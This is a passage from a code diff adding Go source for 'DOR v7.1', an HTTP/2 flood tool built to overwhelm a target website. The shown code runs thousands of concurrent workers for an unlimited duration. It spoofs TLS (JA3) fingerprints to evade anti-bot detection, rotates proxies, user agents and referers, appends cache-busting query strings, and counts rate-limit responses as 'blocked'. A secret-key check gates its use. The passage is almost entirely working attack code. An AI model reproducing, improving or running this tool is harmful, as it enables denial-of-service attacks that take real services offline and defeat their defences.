+ return sharedTransports[workerID%len(sharedTransports)]
820
+ }
821
+
822
+ // NewWorkerTransport (legacy, not used when shared pool is active)
823
+ func NewWorkerTransport(fpIdx int, target string) *WorkerTransport {
824
+ fp := browserFingerprints[fpIdx%len(browserFingerprints)]
825
+
826
+ dialer := &net.Dialer{
827
+ Timeout: CONN_TIMEOUT,
828
+ KeepAlive: KEEP_ALIVE,
829
+ DualStack: true,
830
+ Control: func(network, address string, c syscall.RawConn) error {
831
+ return c.Control(func(fd uintptr) {
832
+ syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)
833
+ syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, 0xf, 1)
834
+ syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
835
+ })
836
+ },
837
+ }
838
+
839
+ tlsCfg := &utls.Config{
840
+ ServerName: target,
841
+ InsecureSkipVerify: true,
842
+ }
843
+
844
+ dialTLS := func(ctx context.Context, network, addr string) (net.Conn, error) {
845
+ tcpConn, err := dialer.DialContext(ctx, network, addr)
846
+ if err != nil {
847
+ return nil, err
848
+ }
849
+ uConn := utls.UClient(tcpConn, tlsCfg, fp.helloID)
850
+ if err := uConn.Handshake(); err != nil {
851
+ tcpConn.Close()
852
+ return nil, err
853
+ }
854
+ return uConn, nil
855
+ }
856
+
857
+ t2 := &http2.Transport{
858
+ DialTLSContext: func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
859
+ return dialTLS(ctx, network, addr)
860
+ },
861
+ DisableCompression: true,
862
+ ReadIdleTimeout: 30 * time.Second,
863
+ PingTimeout: 5 * time.Second,
864
+ MaxHeaderListSize: 1024 * 1024,
865
+ }
866
+
867
+ return &WorkerTransport{
868
+ client: &http.Client{
869
+ Transport: t2,
870
+ Timeout: REQUEST_TIMEOUT,
871
+ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
872
+ },
873
+ t2: t2,
874
+ fpIdx: fpIdx % len(browserFingerprints),
875
+ }
876
+ }
877
+
878
+ // ==================== WORKER ====================
879
+ func worker(id int, target string, port int, scheme string, customPath string,
880
+ proxyMgr *ProxyManager, rateLearner *RateLearner, uaLoader *UALoader, cookieJar *CookieJar,
881
+ refererLoader *RefererLoader, headerTemplates []*HeaderTemplate,
882
+ wg *sync.WaitGroup, stopChan <-chan struct{}) {
883
+
884
+ defer wg.Done()
885
+
886
+ seed := time.Now().UnixNano() + int64(id)*6364136223846793005
887
+ rng := mrand.New(mrand.NewSource(seed))
888
+
889
+ // v7: use shared transport pool — 4 global transports, max connection reuse
890
+ transport := GetSharedTransport(id)
891
+
892
+ host := fmt.Sprintf("%s:%d", target, port)
893
+ baseURL := fmt.Sprintf("%s://%s", scheme, host)
894
+
895
+ var urlBuilder strings.Builder
896
+ urlBuilder.Grow(256)
897
+
898
+ pathCount := len(commonPaths)
899
+ pathIdx := 0
900
+
901
+ tsUpdateCounter := 0
902
+ timestampNano := strconv.FormatInt(time.Now().UnixNano(), 10)
903
+
904
+ for {
905
+ select {
906
+ case <-stopChan:
907
+ return
908
+ default:
909
+ }
910
+
911
+ proxyIP := proxyMgr.GetProxyIP()
912
+
913
+ for i := 0; i < BATCH_SIZE && atomic.LoadInt32(&stopFlag) == 0; i++ {
914
+ atomic.AddUint64(&totalRequests, 1)
915
+
916
+ urlBuilder.Reset()
917
+ urlBuilder.WriteString(baseURL)
918
+
919
+ // Use custom path if provided, otherwise rotate through common paths
920
+ if customPath != "" {
921
+ urlBuilder.WriteString(customPath)
922
+ } else {
923
+ urlBuilder.WriteString(commonPaths[pathIdx])
924
+ pathIdx++
925
+ if pathIdx >= pathCount {
926
+ pathIdx = 0
927
+ }
928
+ }
929
+
930
+ if rng.Intn(100) < 50 {
931
+ urlBuilder.WriteString(queryParamPool[rng.Intn(len(queryParamPool))])
932
+ tsUpdateCounter++
933
+ if tsUpdateCounter >= 100 {
934
+ timestampNano = strconv.FormatInt(time.Now().UnixNano(), 10)
935
+ tsUpdateCounter = 0
936
+ }
937
+ urlBuilder.WriteString("&_t=")
938
+ urlBuilder.WriteString(timestampNano)
939
+ }
940
+
941
+ fullURL := urlBuilder.String()
942
+
943
+ req, _ := http.NewRequest("GET", fullURL, nil)
944
+ req.Host = host
945
+
946
+ uaEntry := uaLoader.GetUA()
947
+ profile := headerTemplates[uaEntry.profileIdx]
948
+ referer := refererLoader.GetReferer()
949
+ cookie := cookieJar.Get(host)
950
+
951
+ req.Header = cloneHeaders(profile, uaEntry.ua, referer, proxyIP, rng, cookie)
952
+
953
+ reqStart := time.Now()
954
+ resp, err := transport.client.Do(req)
955
+ if err != nil {
956
+ atomic.AddUint64(&totalErrors, 1)
957
+ continue
958
+ }
959
+
960
+ latency := uint64(time.Since(reqStart).Milliseconds())
961
+ atomic.AddUint64(&totalLatency, latency)
962
+ atomic.AddUint64(&latencyCount, 1)
963
+
964
+ if resp.Body != nil {
965
+ if cookies := resp.Header.Get("Set-Cookie"); cookies != "" {
966
+ cookieJar.Set(host, cookies)
967
+ }
968
+ resp.Body.Close()
969
+ }
970
+
971
+ switch resp.StatusCode {
972
+ case 200, 201, 202, 204, 301, 302, 304:
973
+ atomic.AddUint64(&successRequests, 1)
974
+ case 429, 403, 503:
975
+ atomic.AddUint64(&blockedRequests, 1)
976
+ atomic.AddUint64(&totalErrors, 1)
977
+ default:
978
+ atomic.AddUint64(&successRequests, 1)
979
+ }
980
+ }
981
+ }
982
+ }
983
+
984
+ // ==================== STATS ====================
985
+ type LiveStats struct {
986
+ Timestamp string `json:"timestamp"`
987
+ Target string `json:"target"`
988
+ Port int `json:"port"`
989
+ TotalRequests uint64 `json:"total_requests"`
990
+ SuccessRate float64 `json:"success_rate"`
991
+ AvgLatencyMs uint64 `json:"avg_latency_ms"`
992
+ ElapsedSeconds float64 `json:"elapsed_seconds"`
993
+ }
994
+
995
+ func saveStats(target string, port int) {
996
+ stats := LiveStats{
997
+ Timestamp: time.Now().Format(time.RFC3339),
998
+ Target: target,
999
+ Port: port,
1000
+ TotalRequests: atomic.LoadUint64(&totalRequests),
1001
+ SuccessRate: float64(atomic.LoadUint64(&successRequests)) / float64(atomic.LoadUint64(&totalRequests)+1) * 100,
1002
+ ElapsedSeconds: time.Since(startTime).Seconds(),
1003
+ }
1004
+ jsonData, _ := json.MarshalIndent(stats, "", " ")
1005
+ os.WriteFile(STATS_FILE_PATH, jsonData, 0644)
1006
+ }
1007
+
1008
+ func printStats(stopChan <-chan struct{}, duration int, isUnlimited bool) {
1009
+ ticker := time.NewTicker(1 * time.Second)
1010
+ defer ticker.Stop()
1011
+
1012
+ var lastReqs uint64
1013
+ elapsed := 0
1014
+
1015
+ for {
1016
+ select {
1017
+ case <-stopChan:
1018
+ return
1019
+ case <-ticker.C:
1020
+ elapsed++
1021
+ currentReqs := atomic.LoadUint64(&totalRequests)
1022
+ currentErrs := atomic.LoadUint64(&totalErrors)
1023
+ currentBlocked := atomic.LoadUint64(&blockedRequests)
1024
+
1025
+ reqsPerSec := currentReqs - lastReqs
1026
+ lastReqs = currentReqs
1027
+ atomic.StoreUint64(&currentRPS, uint64(reqsPerSec))
1028
+
1029
+ successRate := float64(100)
1030
+ if currentReqs+currentErrs > 0 {
1031
+ successRate = float64(currentReqs) / float64(currentReqs+currentErrs) * 100
1032
+ }
1033
+
1034
+ lc := atomic.LoadUint64(&latencyCount)
1035
+ avgLat := uint64(0)
1036
+ if lc > 0 {
1037
+ avgLat = atomic.LoadUint64(&totalLatency) / lc
1038
+ }
1039
+
1040
+ durationStr := fmt.Sprintf("%d/%ds", elapsed, duration)
1041
+ if isUnlimited {
1042
+ durationStr = fmt.Sprintf("Running: %ds", elapsed)
1043
+ }
1044
+
1045
+ fmt.Printf("\r"+CYAN+"[%s]"+RESET+" Req: "+GREEN+"%d"+RESET+" (%d/s) "+CYAN+"|"+RESET+" Err: "+RED+"%d"+RESET+" "+CYAN+"|"+RESET+" Blocked: "+YELLOW+"%d"+RESET+" "+CYAN+"|"+RESET+" Success: "+GREEN+"%.1f%%"+RESET+" "+CYAN+"|"+RESET+" Latency: %dms",
1046
+ durationStr, currentReqs, reqsPerSec, currentErrs, currentBlocked, successRate, avgLat)
1047
+
1048
+ if !isUnlimited && elapsed >= duration {
1049
+ fmt.Println()
1050
+ return
1051
+ }
1052
+ }
1053
+ }
1054
+ }
1055
+
1056
+ // ==================== UI ====================
1057
+ func drawHeader(target string, port, duration, workers, proxyCount, uaCount, refererCount int, isUnlimited bool) {
1058
+ fmt.Println()
1059
+ fmt.Println(RGB_RED + " ╔══════════════════════════════════════════════════════════════╗" + RESET)
1060
+ fmt.Println(RGB_RED + " ║" + RESET + BOLD + RGB_GOLD + " 🚀 DOR v7.1 - DYNAMIC JA3 FLOOD 🚀 " + RESET + RGB_RED + "║" + RESET)
1061
+ fmt.Println(RGB_RED + " ║" + RESET + DIM + RGB_PURPLE + " Dynamic JA3 • 1000+ Unique Fingerprints " + RESET + RGB_RED + "║" + RESET)
1062
+ fmt.Println(RGB_RED + " ╚══════════════════════════════════════════════════════════════╝" + RESET)
1063
+ fmt.Println()
1064
+ fmt.Println(BLUE + " ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + RESET)
1065
+ fmt.Printf(CYAN+" 🎯 Target "+RESET+": %s:%d\n", target, port)
1066
+
1067
+ dur := fmt.Sprintf("%d seconds", duration)
1068
+ if isUnlimited {
1069
+ dur = "UNLIMITED (max)"
1070
+ }
1071
+ fmt.Printf(CYAN+" ⏱️ Duration "+RESET+": %s\n", dur)
1072
+ fmt.Printf(CYAN+" 🧵 Workers "+RESET+": %d\n", workers)
1073
+ fmt.Printf(CYAN+" 📦 Batch "+RESET+": %d requests\n", BATCH_SIZE)
1074
+ fmt.Printf(CYAN+" 🌐 Protocol "+RESET+": HTTP/2 (TLS 1.3) [Dynamic JA3]\n")
1075
+ fmt.Printf(CYAN+" 🎭 JA3 "+RESET+": ∞ Dynamic (1000+ unique profiles)\n")
1076
+ fmt.Printf(CYAN+" 🔒 Ciphers "+RESET+": %d (randomized per-connection)\n", len(dynamicCipherPool))
1077
+ fmt.Printf(CYAN+" 📝 UA Count "+RESET+": %d (pre-computed profiles)\n", uaCount)
1078
+ fmt.Printf(CYAN+" 🔗 Referer "+RESET+": %d from referer.txt\n", refererCount)
1079
+ fmt.Printf(CYAN+" 🍪 Cookies "+RESET+": Session Support\n")
1080
+
1081
+ modeStr := "DIRECT"
1082
+ if proxyCount > 0 {
1083
+ modeStr = fmt.Sprintf("PROXY (%d proxies)", proxyCount)
1084
+ }
1085
+ fmt.Printf(CYAN+" 📦 Mode "+RESET+": %s\n", modeStr)
1086
+ fmt.Printf(CYAN+" 🚀 CPU Cores"+RESET+": %d\n", runtime.NumCPU())
1087
+ fmt.Println(BLUE + " ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + RESET)
1088
+ fmt.Println()
1089
+ }
1090
+
1091
+ func drawFinalReport(elapsed float64) {
1092
+ fmt.Println()
1093
+ fmt.Println()
1094
+ fmt.Println(RGB_RED + " ╔══════════════════════════════════════════════════════════════╗" + RESET)
1095
+ fmt.Println(RGB_RED + " ║" + RESET + BOLD + BRIGHT_CYAN + " ✅ COMPLETE ✅ " + RESET + RGB_RED + "║" + RESET)
1096
+ fmt.Println(RGB_RED + " ╠══════════════════════════════════════════════════════════════╣" + RESET)
1097
+
1098
+ total := atomic.LoadUint64(&totalRequests)
1099
+ success := atomic.LoadUint64(&successRequests)
1100
+ errs := atomic.LoadUint64(&totalErrors)
1101
+ blocked := atomic.LoadUint64(&blockedRequests)
1102
+ lc := atomic.LoadUint64(&latencyCount)
1103
+ avgLat := uint64(0)
1104
+ if lc > 0 {
1105
+ avgLat = atomic.LoadUint64(&totalLatency) / lc
1106
+ }
1107
+
1108
+ rps := float64(total) / elapsed
1109
+ successRate := float64(100)
1110
+ if total+errs > 0 {
1111
+ successRate = float64(success) / float64(total+errs) * 100
1112
+ }
1113
+
1114
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+YELLOW+"🎯 Total Requests"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, total)
1115
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+GREEN+"✅ Successful"+RESET+" : %-12d (%5.1f%%)"+RGB_RED+"║\n"+RESET, success, successRate)
1116
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+RED+"❌ Errors"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, errs)
1117
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+RGB_ORANGE+"🚫 Blocked (429/403)"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, blocked)
1118
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+CYAN+"⚡ Avg RPS"+RESET+" : %-12.0f"+RGB_RED+"║\n"+RESET, rps)
1119
+ fmt.Printf(RGB_RED+" ║"+RESET+" "+BOLD+"⏱️ Latency (avg)"+RESET+" : %-12d ms"+RGB_RED+"║\n"+RESET, avgLat)
1120
+ fmt.Println(RGB_RED + " ╚══════════════════════════════════════════════════════════════╝" + RESET)
1121
+ fmt.Println()
1122
+ }
1123
+
1124
+ // ==================== MAIN ====================
1125
+ func main() {
1126
+ // ── SECRET KEY CHECK ──
1127
+ validKeys := map[string]bool{
1128
+ "夜影风暴": true, "量子幽灵": true, "暗影猎手": true, "虚空使者": true, "灵魂守卫": true,
1129
+ "烈焰之心": true, "冰封王座": true, "雷霆之怒": true, "星辰大海": true, "深渊之眼": true,
1130
+ }
1131
+ execKey := os.Getenv("EXEC_KEY")
1132
+ if execKey == "" || !validKeys[execKey] {
1133
+ fmt.Println(`
1134
+ ╔══════════════════════════════════════════════════════╗
1135
+ ║ ║
1136
+ ║ ╔═╗╔═╗ ╔═╗╦ ╦╦╔═╗╔╗╔ ╔═╗╦═╗╦╔═╗ ║
1137
+ ║ ╠═╝║╣ ║ ╠═╣║║ ║║║║ ║ ╠╦╝║╠═╝ ║
1138
+ ║ ╩ ╚═╝ ╚═╝╩ ╩╩╚═╝╝╚╝ ╚═╝╩╚═╩╩ ║
1139
+ ║ ║
1140
+ ║ "你连钥匙都没有,还想攻击?" ║
1141
+ ║ "You don't even have the key, and you want to ║
1142
+ ║ attack? LOL." ║
1143
+ ║ ║
1144
+ ║ → EXEC_KEY is missing or invalid ║
1145
+ ║ → You are NOT Michelle Wang ║
1146
+ ║ → Go home, script kiddie 🤡 ║
1147
+ ║ ║
1148
+ ╚══════════════════════════════════════════════════════╝
1149
+ `)
1150
+ os.Exit(1)
1151
+ }
1152
+
1153
+ runtime.GOMAXPROCS(runtime.NumCPU())
1154
+
1155
+
1156
+ var target string
1157
+ var port int
1158
+ var timeArg string
1159
+ var workers int
1160
+ var proxyFile string
1161
+ var customPath string // Custom path from target URL
1162
+
1163
+ if len(os.Args) >= 5 && !strings.Contains(os.Args[1], "://") {
1164
+ rawTarget := os.Args[1]
1165
+ // Parse target: example.com/path or example.com:443/path
1166
+ if idx := strings.Index(rawTarget, "/"); idx != -1 {
1167
+ target = rawTarget[:idx]
1168
+ customPath = rawTarget[idx:]
1169
+ } else {
1170
+ target = rawTarget
1171
+ }
1172
+ // Remove port from target if present
1173
+ if idx := strings.Index(target, ":"); idx != -1 {
1174
+ target = target[:idx]
1175
+ }
1176
+ fmt.Sscanf(os.Args[2], "%d", &port)
1177
+ timeArg = os.Args[3]
1178
+ workers, _ = strconv.Atoi(os.Args[4])
1179
+ if len(os.Args) >= 6 {
1180
+ proxyFile = os.Args[5]
1181
+ }
1182
+ } else {
1183
+ flag.StringVar(&target, "target", "", "Target")
1184
+ flag.IntVar(&port, "port", 443, "Port")
1185
+ flag.StringVar(&timeArg, "time", "60", "Duration")
1186
+ flag.IntVar(&workers, "workers", 5000, "Workers")
1187
+ flag.StringVar(&proxyFile, "proxy", "", "Proxy file")
1188
+ flag.Parse()
1189
+ }
1190
+
1191
+ if target == "" || port <= 0 {
1192
+ fmt.Println(RED + BOLD + " Usage: ./dor <target> <port> <duration> <threads>" + RESET)
1193
+ fmt.Println(DIM + " Example: ./dor example.com 443 60 5000" + RESET)
1194
+ os.Exit(1)
1195
+ }
1196
+
1197
+ duration := 60
1198
+ isUnlimited := false
1199
+ if timeArg == "max" || timeArg == "unlimited" || timeArg == "inf" {
1200
+ isUnlimited = true
1201
+ } else {
1202
+ fmt.Sscanf(timeArg, "%d", &duration)
1203
+ if duration <= 0 {
1204
+ duration = 60
1205
+ }
1206
+ }
1207
+
1208
+ scheme := "https"
1209
+ if port == 80 {
1210
+ scheme = "http"
1211
+ }
1212
+
1213
+ if proxyFile == "" {
1214
+ for _, p := range []string{"proxy.txt", "./proxy.txt"} {
1215
+ if _, err := os.Stat(p); err == nil {
1216
+ proxyFile = p
1217
+ break
1218
+ }
1219
+ }
1220
+ }
1221
+
1222
+ initQueryParamPool()
1223
+
1224
+ uaLoader := NewUALoader(UA_FILE_PATH)
1225
+ refererLoader := NewRefererLoader(REFERER_FILE_PATH)
1226
+ proxyMgr := NewProxyManager(proxyFile)
1227
+ cookieJar := new(CookieJar)
1228
+ rateLearner := NewRateLearner(fmt.Sprintf("%s:%d", target, port))
1229
+ headerTemplates := BuildHeaderTemplates()
1230
+
1231
+ // Init shared transport pool (4 transports, 1 per browser fingerprint)
1232
+ initSharedTransports(target)
1233
+
1234
+ startTime = time.Now()
1235
+
1236
+ var fpNames []string
1237
+ for _, fp := range browserFingerprints {
1238
+ fpNames = append(fpNames, fp.name)
1239
+ }
1240
+
1241
+ drawHeader(target, port, duration, workers, proxyMgr.Count(), uaLoader.Count(), refererLoader.Count(), isUnlimited)
1242
+
1243
+ fmt.Println(RGB_RED + " " + BOLD + "🚀 INITIATING DYNAMIC JA3 FLOOD..." + RESET)
1244
+ fmt.Println()
1245
+ fmt.Println(BRIGHT_CYAN + " [✓] Dynamic JA3 Engine (∞ unique fingerprints)" + RESET)
1246
+ fmt.Println(BRIGHT_CYAN + " [✓] " + strconv.Itoa(len(dynamicCipherPool)) + " Cipher Suites (randomized per-connection)" + RESET)
1247
+ fmt.Println(BRIGHT_CYAN + " [✓] " + strconv.Itoa(len(extensionPool)) + " TLS Extensions (dynamic ordering)" + RESET)
1248
+ fmt.Println(BRIGHT_CYAN + " [✓] GREASE Injection (anti-detection)" + RESET)
1249
+ fmt.Println(BRIGHT_CYAN + " [✓] Per-Worker Transport (no contention)" + RESET)
1250
+ fmt.Println(BRIGHT_CYAN + " [✓] Header Templates (clone, not 15 Set calls)" + RESET)
1251
+ fmt.Println(BRIGHT_CYAN + " [✓] Pre-computed UA Profiles (" + strconv.Itoa(uaLoader.Count()) + " entries)" + RESET)
1252
+ fmt.Println(BRIGHT_CYAN + " [✓] Worker-Local Builders (no sync.Pool)" + RESET)
1253
+ fmt.Println(BRIGHT_CYAN + " [✓] Query Param Pool (64 pre-generated)" + RESET)
1254
+ fmt.Println(BRIGHT_CYAN + " [✓] HTTP/2 Multiplexing + TLS Session Cache" + RESET)
1255
+ fmt.Println(BRIGHT_CYAN + " [✓] SO_REUSEPORT + TCP_NODELAY" + RESET)
1256
+ fmt.Println(BRIGHT_CYAN + " [✓] Referer Rotation (" + strconv.Itoa(refererLoader.Count()) + " URLs)" + RESET)
1257
+ fmt.Println(BRIGHT_CYAN + " [✓] Cookie Session Support" + RESET)
1258
+ fmt.Println(BRIGHT_CYAN + " [✓] Real-time Latency Tracking" + RESET)
1259
+ fmt.Println()
1260
+
1261
+ if proxyMgr.Count() > 0 {
1262
+ fmt.Println(YELLOW + " ⚠️ PROXY MODE ACTIVE (" + strconv.Itoa(proxyMgr.Count()) + " proxies)" + RESET)
1263
+ fmt.Println()
1264
+ }
1265
+
1266
+ fmt.Println()
1267
+
1268
+ stopChan := make(chan struct{})
1269
+ go printStats(stopChan, duration, isUnlimited)
1270
+
1271
+ var wg sync.WaitGroup
1272
+
1273
+ fmt.Println(RGB_RED + " [" + BOLD + "FIRE" + RESET + RGB_RED + "]" + RESET + WHITE + " Starting flood with " + BOLD + YELLOW + strconv.Itoa(workers) + RESET + WHITE + " workers..." + RESET)
1274
+ fmt.Println()
1275
+
1276
+ for i := 0; i < workers; i++ {
1277
+ wg.Add(1)
1278
+ go worker(i, target, port, scheme, customPath, proxyMgr, rateLearner, uaLoader, cookieJar, refererLoader, headerTemplates, &wg, stopChan)
1279
+ }
1280
+
1281
+ if !isUnlimited {
1282
+ time.Sleep(time.Duration(duration) * time.Second)
1283
+ } else {
1284
+ fmt.Println(CYAN + " [INFO] Running in unlimited mode. Press Ctrl+C to stop." + RESET)
1285
+ }
1286
+
1287
+ atomic.StoreInt32(&stopFlag, 1)
1288
+ close(stopChan)
1289
+
1290
+ done := make(chan struct{})
1291
+ go func() {
1292
+ wg.Wait()
1293
+ close(done)
1294
+ }()
1295
+
1296
+ select {
1297
+ case <-done:
1298
+ case <-time.After(3 * time.Second):
1299
+ }
1300
+
1301
+ drawFinalReport(time.Since(startTime).Seconds())
1302
+ }